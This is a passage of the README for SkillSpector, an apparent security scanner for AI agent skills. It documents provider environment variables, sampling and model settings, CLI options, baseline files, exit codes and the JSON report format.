maximum 64 characters) for human-readable LLM finding text such as messages, explanations, and remediation. Rule IDs, severity values, paths, code, and other machine-readable values remain unchanged. Unset, blank, or invalid values preserve the default output language. | Optional | | SKILLSPECTOR_TEMPERATURE | Optional sampling temperature from 0 to 1 for hosted providers. Unset or blank preserves the provider default. Lower values can reduce run-to-run variation but do not guarantee identical output. gpt-6.1-sol rejects every explicit temperature, including 1. claude-opus-5-5 and claude-sonnet-5-5 accept only 1.0 on the native Anthropic endpoint (API compatibility rule); gateways, proxies, and Bedrock still reject every explicit value for these models. Unsupported settings on active LLM slots stop a scan before analysis (exit code 2). Static scans (--no-llm) skip provider initialization and control validation. A Bedrock application-inference-profile ARN hides the model name, so declare sampling: rejected for it in the model registry. | Optional | | SKILLSPECTOR_SEED | Optional integer sampling seed for OpenAI-compatible and Azure OpenAI providers. Other hosted providers and CLI providers do not receive it. Provider support remains model-dependent; gpt-6.1-sol receives it, but OpenAI treats seed as best-effort, so output can still differ between runs. | Optional | | SKILLSPECTOR_COMPACT_PROMPTS | Opt-in compact line numbering in LLM prompts: numbered lines render as L1:, L2: instead of zero-padded L01:, L02:. Accepted truthy values are 1, true, and yes (case-insensitive; surrounding whitespace is trimmed). Unset or any other value keeps the default zero-padded format. | Optional | | ANTHROPIC_API_KEY | Credential for the Anthropic provider (SKILLSPECTOR_PROVIDER=anthropic). | Required for LLM analysis when SKILLSPECTOR_PROVIDER=anthropic | | ANTHROPIC_BASE_URL | Override the native Anthropic endpoint (default: https://api.anthropic.com). | Optional | | ANTHROPIC_AUTH_SCHEME | Set to bearer to send ANTHROPIC_API_KEY as Authorization: Bearer instead of x-api-key, for gateways exposing the Messages API. | Optional | | ANTHROPIC_PROXY_ENDPOINT_URL | Full endpoint URL for the Anthropic proxy provider (Vertex-style raw-predict). | Required when SKILLSPECTOR_PROVIDER=anthropic_proxy | | ANTHROPIC_PROXY_API_KEY | Bearer token for the Anthropic proxy provider. | Required when SKILLSPECTOR_PROVIDER=anthropic_proxy | | ANTHROPIC_PROXY_API_VERSION | anthropic_version value sent in the request body (default: vertex-2023-10-16). | Optional | | AWS_PROFILE | Named AWS profile for the Bedrock provider — authenticates via SigV4 through boto3. When unset, the standard boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves. | Optional (used when SKILLSPECTOR_PROVIDER=bedrock) | | AWS_REGION | AWS region for the Bedrock Runtime endpoint. Defaults to us-west-2. | Optional (used when SKILLSPECTOR_PROVIDER=bedrock) | | OLLAMA_BASE_URL | Ollama OpenAI-compatible endpoint. Defaults to http://localhost:11434/v1. | Optional (used when SKILLSPECTOR_PROVIDER=ollama) | | AZURE_OPENAI_API_KEY | API key for the Azure OpenAI provider. | Required when SKILLSPECTOR_PROVIDER=azure_openai | | AZURE_OPENAI_ENDPOINT | Azure resource endpoint for the Azure OpenAI provider. | Required when SKILLSPECTOR_PROVIDER=azure_openai | | AZURE_OPENAI_DEPLOYMENT | Azure deployment name. Defaults to the selected model label. | Optional | | AZURE_OPENAI_API_VERSION | Azure OpenAI API version. Defaults to 2024-06-01. | Optional | | SKILLSPECTOR_COMPAT_API_KEY | API key for a generic OpenAI-compatible provider. | Required when SKILLSPECTOR_PROVIDER=openai_compatible | | SKILLSPECTOR_COMPAT_BASE_URL | Base URL for a generic OpenAI-compatible provider. | Required when SKILLSPECTOR_PROVIDER=openai_compatible | | SKILLSPECTOR_MODEL | Override the active provider model. For hosted providers, this replaces the bundled default from the LLM Analysis table. For CLI providers, this is forwarded as --model instead of using the local runtime fallback. | Optional | | SKILLSPECTOR_MODEL_ | Override the model for one analyzer slot (for example SKILLSPECTOR_MODEL_META_ANALYZER). It takes precedence over SKILLSPECTOR_MODEL, which in turn replaces provider slot defaults such as the anthropic meta_analyzer default. See model provenance for the full precedence. | Optional | | SKILLSPECTOR_MODEL_REGISTRY | Override the bundled per-provider YAML registry (src/skillspector/providers//model_registry.yaml) with a custom path. | Optional | | SKILLSPECTOR_LOG_LEVEL | Log level: DEBUG, INFO, WARNING, ERROR (default: WARNING). | Optional | | SKILLSPECTOR_MAX_DEPENDENCY_SOURCE_ANALYSIS_SECONDS | Ceiling for the dependency-source analysis pass, in seconds. Defaults to 5.0, which is the historical value. Raise it on slow or heavily loaded machines so the same unchanged tree does not come back partially inspected, which would set safe_to_install to false and record runtime_limit. The remaining aggregate workflow time (SKILLSPECTOR_MAX_WORKFLOW_SECONDS, 600 seconds by default) still caps the effective value; values above that remaining time have no effect. Invalid, zero, negative, infinite, and NaN values keep the 5-second default. The setting is resolved when the module is imported, so a new process is required after changing it. See analysis resource bounds. | Optional |

Disabled provider: codex_cli remains registered but cannot run LLM analysis because its read-only sandbox allows host-file reads. Existing users should select an HTTP API provider or another supported CLI provider.
CLI providers (claude_cli, gemini_cli, opencode_cli): No API key is needed. Authentication is managed entirely by the agent CLI's own login session. SkillSpector never reads or forwards API keys when these providers are active. The subprocess is run with capabilities restricted, and untrusted skill content is delivered only via stdin.
> opencode_cli currently fails closed unless the installed OpenCode version is exactly 1.18.33, the version whose configuration precedence and deny-all semantics are verified by this release.

CLI Options

skillspector scan --help

Options: -f, --format [terminal|json|markdown|sarif] Output format [default: terminal] -o, --output PATH Output file path --no-llm Skip LLM analysis (static only) --yara-rules-dir PATH Extra YARA rules directory -b, --baseline PATH Suppress findings listed in a baseline --show-suppressed List baseline-suppressed findings -V, --verbose Show detailed progress --help Show this message and exit

Generate a baseline of all current findings (see docs/SUPPRESSION.md)

skillspector baseline <path> [-o FILE] [--no-llm] [--reason TEXT]

Report files and new baselines use private permissions (0600). Existing baselines retain their access metadata when safely replaced; updates requiring in-place writes are refused. All file output uses atomic replacement. The parent directory must be writable; symlinked parents and non-regular destinations such as devices are refused. On macOS, ancestor directories must also be readable. File output requires POSIX no-follow directory operations and is unavailable on Windows. Unsupported file output fails before analysis. Omit --output for scan/batch stdout, or use skillspector baseline -o - for JSON on stdout, then redirect only to a trusted destination. Run Docker with your user ID as above so you can read its files.

Integrating SkillSpector

SkillSpector is built to be driven by other tools (CI pipelines, install gates, editor integrations). Its exit code and JSON output are a stable contract.

Exit codes

skillspector scan exits with:

| Code | Meaning | |------|---------| | 0 | Scan completed, risk_score ≤ 50 (recommendation SAFE or CAUTION), and no enabled strict gate fired | | 1 | Scan completed and either risk_score > 50, --fail-on-findings found an active finding, --fail-on-incomplete found partial/incomplete analysis, or --min-coverage found coverage below its threshold | | 2 | Error (bad input, unreadable source, internal failure) |

By default, the exit code collapses SAFE and CAUTION into 0. Use --fail-on-findings to gate on any active finding, --fail-on-incomplete to gate on incomplete coverage, --min-coverage PERCENT to gate on a coverage floor, or read the JSON recommendation field for custom policy.

Machine-readable output

--format json produces a JSON report; with no --output/-o it is written to stdout:

skillspector scan ./my-skill/ --format json

The top-level shape is (this example shows a full LLM-backed scan; with --no-llm, metadata.llm_requested is false):

{
  "skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" },
  "risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" },
  "components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ],
  "issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ],
  "metadata": {
    "has_executable_scripts": false,
    "skillspector_version": "...",
    "llm_requested": true,
    "llm_available": true,
    "inference_usage": [
      {
        "node": "semantic_security_discovery",
        "request_kind": "structured_output",
        "provider": "nv_inference",
        "model": "azure/anthropic/claude-opus-4-6",
        "model_source": "provider_response",
        "usage_source": "provider_response",
        "prompt_tokens": 1000,
        "completion_tokens": 100,
        "cached_tokens": 400,
        "cache_write_tokens": 50,
        "total_tokens": 1100
      }
    ]
  }
}
  • risk_assessment.severity ∈ LOW | MEDIUM | HIGH | CRITICAL.
  • risk_assessment.recommendation ∈ SAFE | CAUTION | DO_NOT_INSTALL, mapped from severity: LOW → SAFE, MEDIUM → CAUTION, HIGH/CRITICAL → DO_NOT_INSTALL.
  • metadata.llm_error appears only when LLM analysis was requested but unavailable.
  • Archive-member components retain their virtual path and include outer_path, nested_path,
and container provenance. Virtual paths identify in-memory members, not on-disk files; see JSON component locations.
  • AE1 findings use Incomplete referenced artifact analysis. Their source
location identifies the reference; evidence identifies the affected target, analyzer reasons, and available bounds. Review the target's completeness ledger when reasons_truncated is true. See referenced-artifact diagnostics and Perl help text

Chat with me